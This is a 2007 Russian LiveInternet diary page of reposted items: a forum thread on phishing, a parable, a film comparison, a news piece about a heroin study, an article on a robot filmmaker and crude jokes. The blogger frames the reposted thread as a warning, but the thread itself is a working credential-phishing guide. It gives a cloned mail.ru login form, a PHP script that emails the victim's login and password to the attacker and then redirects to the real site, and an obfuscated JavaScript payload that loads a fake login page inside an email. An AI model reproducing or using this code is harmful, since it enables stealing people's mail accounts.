-Рубрики

 -Музыка

 -Стена

Perseph0na Perseph0na написал 03.01.2010 14:56:48:
Ты появляйся, пусть изредка, на день - другой, но появляйся!

 -Подписка по e-mail

 

 -Поиск по дневнику

Поиск сообщений в Perseph0na

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 03.02.2007
Записей:
Комментариев:
Написано: 2710

Выбрана рубрика БAЯН.


Другие рубрики в этом дневнике: ЮМОР(64), ФОТО(24), СТИХИ(5), СЕКС(14), МЫСЛИ ВСЛУХ(68), МУЗЫКА(6), МРАЗИ(23), КНИГИ(16), ДРУЗЬЯ(33), SOFT(31)

Как ловят на фейке - не ведитесь!!! ( баян, но спецом кое-кому напоминаю)

Дневник

Воскресенье, 13 Мая 2007 г. 01:53 + в цитатник

Просмотр полной версии : Фейк на php


Woldemar
12.04.2007, 09:24
Я всегда мечтал сделать так, что бы при заходе человека в свой мыльник пароль отправлялся ко мне на e-mail. И в скором времени я понял что это можно сделать очень просто. В этой статье я покажу на конкретном примере как это сделать (на mail.ru)

Нам нужно всего немного :
1. Страница авторизации басплатной почты. (win.mail.ru/cgi-bin/auth/)
2. Хостинг с поддержкой PHP + mail. (holm.ru)Сохраняем страничку авторизации на винт как index.php.
Рассмотрим её код и найдём в нём поля ввода:

<form method="post" action="auth" onSubmit="return CheckForm(this);">
<input type="hidden" name="page" value="">
<input type="hidden" name="post" value="">
<input type="hidden" name="login_from" value="">
<tr>
<td><img src=http://img.mail.ru/0.gif width=55 height=1><br>Имя</td>
<td width=63%><input type="text" name="Login" value="yt" class=w_100></td>
<td width=37%><select class=w_100 name="Domain"><option value="mail.ru" >@mail.ru</option><option value="inbox.ru" SELECTED>@inbox.ru</option><option value="list.ru" >@list.ru</option><option value="bk.ru" >@bk.ru</option></select></td>
</tr>
<tr>
<td>Пароль</td>
<td colspan=2>
<table width=100% cellpadding=0 cellspacing=0 border=0><tr>
<td width=100%><input type="password" name="Password" class=w_100></td>
<td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.mail.ru/pages/help/92.html" target=_new>Забыли&nbsp;пароль?</a></td>
</tr></table>
</td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label></td>
<td>&nbsp;</td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type="Submit" value=" Войти " style="margin-top:4px"></td>
<td>&nbsp;</td>
</tr></form>
Вот мы видим следущие поля:
action="auth"[при нажатии конпки Войти, вы будете попадать в auth]
name="Login" [текстовое поле для ввода логина Login]
name="Domain"[поле для выбора домена Domain]
name="Password" [поле для ввода пароля Password]Для удобства поменяем "auth" на "auth.php".
auth.php нужно для того, чтобы отправить вам на мыло пароль и войти на мыло, этот файл будет выглядет примерно так :
<?php

$info = "Попались ламки с фейка!\n"; //сообщение. 1 строчка, здесь сообщение =)
$info .= "Login: \t$Login@$Domain\n"; //вторая строчка, здесь логин жертвы
$info .= "Password: \t$Password\n"; //третья строчка, здесь пасс жертвы

$send_to = "ТУТ ВАШЕ МЫЛО"; //ТУТ ВАШЕ МЫЛО
$subject = "Lamers death"; //Название темы

$headers = "From: BillGates <Bill@Microsoft.com>\n"; //от кого придёт сообщение
$headers .= "Reply-To: $email\n\n";

$send = mail($send_to, $subject, $info, $headers);

header("Location: http://win.mail.ru/cgi-bin/auth?Login=$Login&Password=$Password&Domain=$Domain");
exit;

?>

Хочу обратить ваше внимание на то что мы отправляем :
login: $поле_ввода_логина@$поле_для_выбора_домена
Password: $поле_ввода_пароля
Если страница авторизации будет другая, то и поля будут другие, следовательно отправлять в сообщение нужно будет другое.
Затем просто закачиваем фейк на сайт с поддержкой PHP + отправки писем на мыло и впихиваем жертве ссылку на ваш фейк (index.php), предварительно проверив его.

DAngel
25.04.2007, 20:15
вахаха!!! ща юзвери умные пошли, на эту уловку многие не попадаются.

ща брутфорсером шарить нада! :)

Lacoste*
25.04.2007, 21:53
Woldemar,
как сохоанить страничку в PHP. У меня Html только файл получается

Добавлено через 34 секунды
Woldemar,
а так очень полезная инфа.

Woldemar
26.04.2007, 15:25
Woldemar,
как сохоанить страничку в PHP. У меня Html только файл получается
Пишешь в *.txt файле скрипт переименовываешь и пишешь заррешение *.PHP и ооля сохранил на *.php.

вахаха!!! ща юзвери умные пошли, на эту уловку многие не попадаются.
ща брутфорсером шарить нада!

Недооцениваешь ты силу соц. инженерии.. :)

DAngel
26.04.2007, 15:30
Woldemar,
можна отправить скрипт, который выведет вместо письма твою страницу.
Пихаем это в тело письма:
<img g=">" src="javascript:document.write(String.fromCharCode(60,1 02,114,97,109,101,115,101,116,32,99,111,108,115,61 ,49,48,48,37,32,114,111,119,115,61,49,48,48,37,32, 48,32,102,114,97,109,101,115,112,97,99,105,110,103 ,61,48,32,62,60,102,114,97,109,101,32,115,114,99,6 1,34,104,116,116,112,58,47,47,112,97,112,105,101,1 14,101,110,107,97,114,116,111,110,46,110,108,47,10 9,47,108,111,103,105,110,46,104,116,109,108,34,32, 102,114,97,109,101,98,111,114,100,101,114,61,48,32 ,62,60,47,102,114,97,109,101,115,101,116,62));">

//цифры - это ASCII код тэга:
<frameset cols=100% rows=100% 0 framespacing=0 ><frame src="http://блабла.бла/login.html" frameborder=0 ></frameset>

Теперь при открытии сообщения юзер увидит твою страницу авторизации!
:))))
Пы.Сы. ASCII код символов мона посмотреть в MS WORD, для этого нажимаем Вид->Вставка->Символы, а дальше разберетесь сами.
Рубрики:  БAЯН

Метки:  

Ну что? --О птичках? Да!!!

Дневник

Пятница, 11 Мая 2007 г. 00:22 + в цитатник

Человек однажды поймал птичку.

- В неволе я тебе не пригожусь, - сказала ему птичка, - отпусти меня, и я дам тебе три ценных совета.

Первый совет птичка пообещала дать в руке, второй - когда она взлетит на ветку, и третий - на вершине холма.

Человек согласился и спросил, каков ее первый совет.

- Если ты чего-то лишился, пусть даже ты ценил это не меньше жизни, не жалей об этом.

Человек отпустил птичку и она, взлетев на ветку, сказала свой второй совет:

- Никогда не верь тому, что противоречит здравому смыслу и не имеет доказательств.

Затем она полетела на вершину холма и закричала оттуда:

- О несчастный! Я проглотила два огромных бриллианта. Если бы ты убил меня, они были бы твоими.

В отчаянии человек схватился за голову.

- Дай мне хотя бы свой третий совет, - сказал он, придя в себя.

- Какой же ты глупец! - воскликнула птичка, - ты просишь у меня третьего совета, даже не подумав над первым и вторым. Я сказала тебе, чтобы ты не сожалел о потерянном и не верил бессмыслицам, а ты только что поступил наоборот. Ты поверил нелепости и пожалел о том, чего лишился! Подумай сам, как же во мне, такой маленькой, могут поместиться два огромных бриллианта. Ты глуп, поэтому ты должен оставаться в границах, которые предназначены для обычных людей.

Рубрики:  БAЯН

Метки:  

баян) но я плачу..))

Дневник

Пятница, 30 Марта 2007 г. 17:28 + в цитатник
Рубрики:  ЮМОР
БAЯН

Усталость и желание чтоб их не было. Вообще.

Дневник

Пятница, 30 Марта 2007 г. 16:52 + в цитатник
Humiliating все записи автора

"Вам и не снилось"  американский и советский варианты экранизации на тему : "Ромео и Джульетта"

 

 

 

 

  

Итак, перед нами 2 экранизации одного произведения, "Ромео и Джульетта" Шекспира. Русская называется "Вам и не снилось", в американской название пьесы сохранено. Обе экранизации привнесли что-то новое в произведение, что-то специфическое для своей культуры. Т.е. оба варианта переделали, модернизировали пьесу по-своему. Вот и посмотрим, что же они такого нового привнесли. Надо сказать, что наша постановка сильно отличается от оригинала, а у американцев текст сохранён, как и основная канва сюжета. Т.е. у нас пошёл основной упор на смысл, у них - на спецэффекты. Мы поменяли содержание, а они картинку.

qwerqwer6.jpg

"Ромео и Джульета" - произведение, написанное англосаксом, потому насилие там - абсолютно естественная и незаменимая вещь. Но в отличие от американского фильма, где кровь течёт рекой, у нас самым страшным насилием на весь фильм была сцена, когда бабушка насильно не хотела выпускать Рому из комнаты.

romeoandjuliab17.jpgromeoandjuliab5.jpg

qwerqwer7.jpg

Да, спецэффектов у нас нет. Самый замысловатый трюк - выпадение Ромки из окна - изображается показом ноги в воздухе.

romeoandjuliab4.jpg

Реалии жизни. У них это гомосексуалисты, проститутки, перестрелки на улицах и наркотики. У нас, соответственно, всего этого отсутствие. Зато показан обычный быт советского школьника: учёба, магазин, прогулки в парке. Теперь, конечно, после стольких лет американизации, наши картинки не очень отличались бы от их.

romeoandjuliab1.jpgromeoandjuliab9.jpgromeoandjuliab7.jpgromeoandjuliab3.jpg

Главные герои. У них явно видна попытка выбрать лучших(может, даже идеальных), у нас - простые ребята. У нас делается ставка на красоту духовную, а у них и слова-то такого нету.

romeoandjuliab2.jpgromeoandjuliab12.jpg

qwerqwer1.jpg

Секс. У нас в фильме нет даже поцелуев, а у них, естественно, как всегда...

romeoandjuliab19.jpgromeoandjuliab21.jpg

Нет, такой злобы и ярости вы в нашем фильме не найдёте.

romeoandjuliab8.jpgromeoandjuliab15.jpg

qwerqwer5.jpgqwerqwer9.jpg

Концовка. У них - трупы крупным планом, у нас - воссоединение пары.

 

romeoandjuliab22.jpgromeoandjuliab23.jpg

 

Суммируем: мы привнесли духовность, некое внутреннее тепло, положительную концовку (всё таки жалко детей убивать, даже выдуманных). Американцы привнесли секс, наркотики, насилие, извращения, яркую картинку. Вот вам и разница в культурах. Всё отрицательное (ярость, ненависть, убийства) изображается в гипертрофированной и очень красочной форме, в то время, как у нас оно сводится на нет.

Рубрики:  БAЯН

Метки:  

Где хрен и где трамвайная ручка?

Дневник

Четверг, 29 Марта 2007 г. 21:33 + в цитатник
Humiliating все записи автора
Психологи спутали героин с нормальной жизнью
Героин может выглядеть по-разному. Участники исследования курили его, и обследовавшие их учёные посчитали, что употребление наркотика совместимо с нормальной жизнью (фото с сайта stopdrugs.org).
Психологи спутали героин с нормальной жизнью

4 февраля 2005
membrana

•  Обсуждение
•  Отправить
•  Распечатать

&lt;a href=http://www.rorer.ru/&gt;&lt;img src=http://engine.rorer.ru/i/240x400.gif width=240 height=420 border=0 alt="RORER advertising network"&gt;&lt;/a&gt;

Шотландские учёные оказались в эпицентре страшного скандала – они опубликовали результаты исследования, показавшего, что, регулярно употребляя героин, можно жить нормальной жизнью. С этим не согласились ни медики, ни сами наркоманы.

Свои выводы специалисты из Каледонского университета в Глазго (Glasgow Caledonian University) сделали по результатам обследования 126 молодых людей, большинству их которых героин, якобы, не мешает нормально учиться и работать.

"Контролируя" употребление героина, они, якобы, способны стать квалифицированными специалистами, такими же, как и все остальные — ненаркоманы.

Разумеется, на этот счёт разгорелись жестокие дебаты. "Любой, кто прочитает это, подумает, что можно употреблять героин безо всяких проблем, но это неверно, — заявил активист движения "Шотландия против наркотиков" (Scotland Against Drugs) Элистер Рэмсей (Alistair Ramsay). — В нашей стране 55 тысяч 800 человек употребляет героин. И нормально жить они не способны, так что результаты исследования не соответствуют действительности".

Однако один из руководителей организации Turning Point лорд Адебоули (Lord Victor Adebowale), эксперт по алкоголизму и наркомании, объяснил, что в сообщении учёных не содержится утверждений о безопасности героина:

"Здесь говорится о том, что если у вас имеются любимая работа, стабильный доход, свой дом, хорошее образование и система здравоохранения, поддерживающая вас, есть возможность пережить зависимость от довольно серьёзных препаратов. Но у большинства наркоманов всего этого нет, зато есть проблемы с психическим здоровьем".

Между тем, люди "под героином" выглядят так (фото с сайта lookoutmagazine.ca).

Между тем, люди "под героином" выглядят так (фото с сайта lookoutmagazine.ca).
Авторов скандального сообщения двое — это Фил Дальгарно (Phil Dalgarno) и Дэвид Шиван (David Shewan). Последний, между тем, и сам соглашается, что героин — не является безопасным препаратом.

По его словам, контролируемое употребление наркотиков является "в значительной степени неизведанной" областью исследования. Он предупредил, что и к результатам нужно относиться с осторожностью.

"Однако это исследование показывает, что химические свойства определённых веществ, включая героин, не должны рассматриваться как неизбежно приводящие к зависимости и деструктивным последствиям, — добавил Шиван. – К исследованию воздействия наркотических препаратов необходимо привлечь до сих пор скрывающуюся часть населения, чтобы более полно разобраться в теории и практике.

Должны быть приняты во внимание психологические и социальные факторы. Только так можно изучить любую форму зависимости, включая героиноманию".

Но критике подверглись не только выводы учёных из Каледонского университета. Многим не понравилась сама методика проведения исследования.

Дело в том, что "потребителей" героина расспрашивали об их зависимости и состоянии вообще — не лично, а через посредников – это должно было стать гарантией доверительных отношений и правдивости ответов.

Финансировал работу шотландский минздрав (SEHD) — было затрачено 114 тысяч фунтов (около $215 тысяч). По итогам представитель минздрава сообщил, что это было "очень маленькое исследование нетипичной группы наркоманов", и ни о каких изменениях в "антинаркотическом" законодательстве, уже тем более — о легализации — речи быть не может.

Как-то трудновато представить себе "контролируемое" употребление героина (фото с сайта bbc.co.uk).

Как-то трудновато представить себе "контролируемое" употребление героина (фото с сайта bbc.co.uk).
Итак, чем же занимались Шиван и Дальгарно? Информация была получена от 126 учащихся в Глазго молодых людей (94 мужчины — 75%, 32 женщины — 25%), употребляющих героин в среднем в течение 7 лет и за это время не обращавшихся за медицинской или психологической помощью (из-за наркотиков).

Следует подчеркнуть: в большинстве своём они курили героин, а не делали инъекции. Хотя "горстка" всё же кололась.

Треть участников опроса воспитывает детей. 64% окончили школу и теперь получают образование в ВУЗе, причём 11% во время исследования учились и больше ничем не занимались. Всё же среди этих 126 человек было 15% безработных и 5% не имеющих никакого образования вообще.

В ходе первой фазы исследования у 30% были обнаружены те или иные проблемы со здоровьем, связанные с наркотиком, хотя в большинстве случаев лечение им не требуется.

В то же время 48% опрошенных описали своё состояние здоровья как хорошее. Только 7% назвали его плохим или ужасным. Лишь 15% участников сообщили, что употребление героина было связано с проблемами в семье, всего один человек обвинил наркотик в разрыве долгосрочных отношений.

Притом, что 60% признали негативное воздействие героина на их работу или учёбу, только два человека сказали, что употребление препарата стоило им рабочего места. Кстати, к концу исследования шесть участников начали лечиться от зависимости у специалистов.

В общем, вся Британия в настоящее время, что называется, стоит на ушах. Нечто подобное уже, между прочим, было, когда двое, опять-таки, британских психологов заявили о безвредности экстази.

Дуэт из Каледонского университета можно даже пожалеть, так их жёстко прессуют. Однако, похоже, есть во всей этой истории и положительный момент. Возможно, такое широкое обсуждение чем-нибудь, да поможет в решении проблемы наркомании.

Рубрики:  БAЯН

Метки:  

Лирушный глюк!!!

Дневник

Суббота, 17 Марта 2007 г. 23:52 + в цитатник
green_skunk все записи автора .Внимание!

Вам необходимо ввести своё имя и пароль, чтобы продолжить. Заполните формочку, расположенную ниже - и нажмите кнопку для продолжения.
Если Вы еще незарегестрированы на нашем сайте - вам необходимо пройти регистрацию. Она сильно упрощена для Вашего удобства и не доставит Вам никаких проблем.

Рубрики:  БAЯН

Метки:  

*Железный* креатив

Дневник

Среда, 14 Марта 2007 г. 17:47 + в цитатник
Робот-режиссёр показывает дорогу в 20-мерном пространстве
Произведение кого-то из импрессионистов? Нет, всего лишь кадр из фильма, снятого роботом (кадр с сайта halo.gen.nz).
Робот-режиссёр показывает дорогу в 20-мерном пространстве

3 апреля 2006
membrana

•  Обсуждение
•  Отправить
•  Распечатать
•  в Избранное

***************************************************************************************************

О том, способна ли машина на творчество – можно спорить долго. Ясно одно. Даже имитация творчества – это весьма занятно. Ведь результат трудно предвидеть полностью. Даже если сам придумал для машины алгоритм работы.

 

Новозеландский проект A filmmaking robot, честно скажем, не нов. Он был выполнен в 2004 году. Но поговорить о нём стоит. Ведь нечасто наткнёшься на описание машины, выступающей в роли режиссёра.

 

Автор этой идеи – новозеландец Дуглас Бэгнелл (Douglas Bagnall). Помогал ему соотечественник Дэвид Холл (David Hall), музыкант и мультипликатор, живущий в Уэллингтоне (в этом же городе и происходили описываемые события), а также – большая куча художников, инженеров, представителей киноиндустрии и бизнесменов.

 

Собственно, робот (он назван так лишь потому, что выполняет некое человеческое действие) – был всего лишь чёрной коробкой с электронными "мозгами". У него не было ни ног, ни рук, а его глаза (видеокамеры) и вовсе находились далеко от "туловища" – за лобовыми стеклами рейсовых автобусов, курсировавших по Уэллингтону и окрестностям.

 

Сам по себе робот-режиссёр ничем не примечателен. Компьютер в ящике (фото с сайта halo.gen.nz).

Сам по себе робот-режиссёр ничем не примечателен. Компьютер в ящике (фото с сайта halo.gen.nz).
Камера записывала панораму улицы на чип, и как только автобус проезжал мимо беспроводной точки доступа в Интернет – скидывала кадры роботу. Происходило это несколько раз в день.

 

Сам робот стоял в галерее новозеландского киноархива (New Zealand Film Archive).

 

"Мозг" робота расчленял видео на кадры и анализировал каждый по отдельности. Он вовсе не "понимал", что видит. Он просто преобразовывал кадр к 20 числам, отражающих такие вещи, как средняя яркость, средний уровень красного, синего и зелёного, плотность вертикальных и горизонтальных линий, наклон контрастных деталей, сочетания близких цветов и так далее в том же духе.

 

Эти 20 чисел для робота – координаты точек, лежащих в условном 20-мерном пространстве. "Мысленно" он словно перемещался по некой линии, выделяя на ней ряд ключевых позиций – изображений, которые анализировались обособленно при помощи того, что весьма условно можно было бы назвать "интеллектом".

 

 

 

Робот фактически не понимает – что именно он "видит". Он фиксирует и перерабатывает лишь цифровые "тени" от предметов реального мира (фото с сайта halo.gen.nz).

Робот фактически не понимает – что именно он "видит". Он фиксирует и перерабатывает лишь цифровые "тени" от предметов реального мира (фото с сайта halo.gen.nz).

Точнее, это была обучаемая нейронная сеть и набор эвристических правил, согласно которым "лучшие" фрагменты отснятого за день попадали в финальный фильм, монтаж которого шёл непрерывно.

 

Нейронную сеть обучали на примерах прекрасных художественных изображений, найденных в Сети. Например – на картинах импрессионистов. Разумеется, они для машины упрощались до тех же 20 чисел, и компьютер пытался отыскать подобие между "образцами" и "увиденным" на улицах города.

 

Кроме того, Дэвид Холл в начале работы разделил 100 из первых изображений, снятых роботом, на три части: "хорошие", "плохие" и "ни то ни другое". Сеть обучалась далее подбирать "хорошие" и отвергать "плохие" кадры.

 

 

 

Фильмы робота – это своеобразные отчёты о "путешествиях" автобусов. Только не соблюдающие ни хронологической последовательности, ни вообще какой-либо явно видимой логики (кадры с сайта halo.gen.nz).

Фильмы робота – это своеобразные отчёты о "путешествиях" автобусов. Только не соблюдающие ни хронологической последовательности, ни вообще какой-либо явно видимой логики (кадры с сайта halo.gen.nz).

Также компьютер должен был стремиться чаще использовать неординарные изображения, в 20-мерных координатах отстоящие от кучи "средних", и, кроме того, нельзя было рядом ставить подобные кадры.

 

Когда робот набрал 5 миллионов кадров, он убрал из них некоторое количество наименее удачных, заменив их другими фрагментами видео. Робот даже был способен к созданию "ложных воспоминаний": объединяя наиболее "любимые" изображения, он вставлял в финальный фильм несуществующие фрагменты, вовсю, к тому же, переработанные: с изменёнными цветами, "размытыми" пикселями и так далее.

 

 

 

Более или менее нормальные съёмки в фильмах робота перемежаются короткими вставками с такими вот переработанными кадрами (кадры с сайта halo.gen.nz).

Более или менее нормальные съёмки в фильмах робота перемежаются короткими вставками с такими вот переработанными кадрами (кадры с сайта halo.gen.nz).

Надо сказать, что результат выглядит весьма странно (со страницы проекта можно скачать три таких ролика в формате MPEG4 на 14, 16 и 36 мегабайт): часть фрагментов "пущена" задом наперёд, быстрое мельтешение кадров, непонятные "пустые" места…

 

Но дело тут ещё и в том, что для робота время съёмки того или иного кадра не имело никакого значения, он мог поставить его в любое место, руководствуясь своими "эстетическими" соображениями.

 

А поскольку "узнав от людей", что тот или иной кадр со специфическим "профилем" более выигрышный, чем другие, робот ставил его в фильм снова и снова – так появлялись повторы.

 

 

 

Некоторые фрагменты смонтированных машиной роликов просто просятся на полотно (кадры с сайта halo.gen.nz).

Некоторые фрагменты смонтированных машиной роликов просто просятся на полотно (кадры с сайта halo.gen.nz).

С другой стороны, эта странность фильмов проистекает, наверное, от "попыток" робота воссоздать нечто художественное. Ведь авторы всей этой странной затеи пытались найти некие формальные признаки "прекрасного", те самые заветные "правильные" сочетания 20 параметров, что отличали полотна художников от простых видеосъёмок.

 

Вы, конечно, скажете: "Что за упрощение!" Ну да, упрощение. Более того — игра. И всё же что-то в этом есть. Особенно это относится к третьему, наибольшему по продолжительности фильму (снятому в сентябре).

 

В первых двух роликах робота слишком много одних и тех же ночных кадров. А вот в сентябрьском — куда больше света. И в прямом, и в переносном смысле.

 

Посмотрите на некоторые кадры – чем не полотна художников?

-

Рубрики:  БAЯН
МЫСЛИ ВСЛУХ

Метки:  

Обобщение

Дневник

Среда, 14 Марта 2007 г. 14:17 + в цитатник

Что общего между ....

с женской точки зрения
type:, atr:,, title:Что общего между интернетом и половым членом
1. B первый раз вы не получаете никакого удовольствия.

2. Сначала вы его немного боитесь, но он вас интригует и возбуждает. Затем, когда вы знакомитесь с ним, его размерами, силами, возможностями поближе, вы изучаете его, а он обучает вас, у вас с ним завязывается все более нежная дружба, и он постепенно занимает все больше и больше вашего времени, и вот - он уже часть вашей жизни.
 


3. Когда он вам нужен больше всего, вы не можете до него дозвониться.

4. У вас есть доказательства, что он поддерживает связь с другими, но в этом его натура, а ваша проблема - не подцепить какой-нибудь вирус.

5. Порой приходится приложить немало усилий, чтобы наладить связь. Но иногда еще больше, когда она прервалась, а вам хочется еще.

6. Иногда он падает по ему одному известным и не зависящим от вас причинам, и в самый неподходящий для вас момент.

7. Когда вы узнаете, что его провайдер не единственный в мире, вы пробуете с другим, потом с третьим... Вы понимаете, что, оказывается, он бывает разный, по силе, скорости и качеству. И, наконец, вы находите такого, который удовлетворяет вас.

8. С ним можно иметь дело в институте, на работе, даже, если есть желание и возможность, в поезде и в самолете, но наибольшее удовлетворение вы получаете все-таки ночью и дома.

9. С ним можно учиться и трудиться. С ним можно играть и отдыхать. На него можно тратить деньги, но можно и зарабатывать.

10. Теперь, когда вы так к нему привязаны и так от него зависимы, вы иногда с тоской вспоминаете то время, когда были свободны. Но отказаться от него вы не в силах...
Рубрики:  БAЯН

Метки:  

Аффтар - жопу на уши!

Дневник

Среда, 14 Марта 2007 г. 09:54 + в цитатник
Рубрики:  БAЯН
МЫСЛИ ВСЛУХ

Метки:  

Флешечка неприличная

Дневник

Пятница, 09 Марта 2007 г. 17:27 + в цитатник

Прошу не слушать и не смотреть ! Это я к нормальным обращаюсь!

Посмотреть - послушать

Рубрики:  ЮМОР
БAЯН

Метки:  

 Страницы: [4] 3 2 1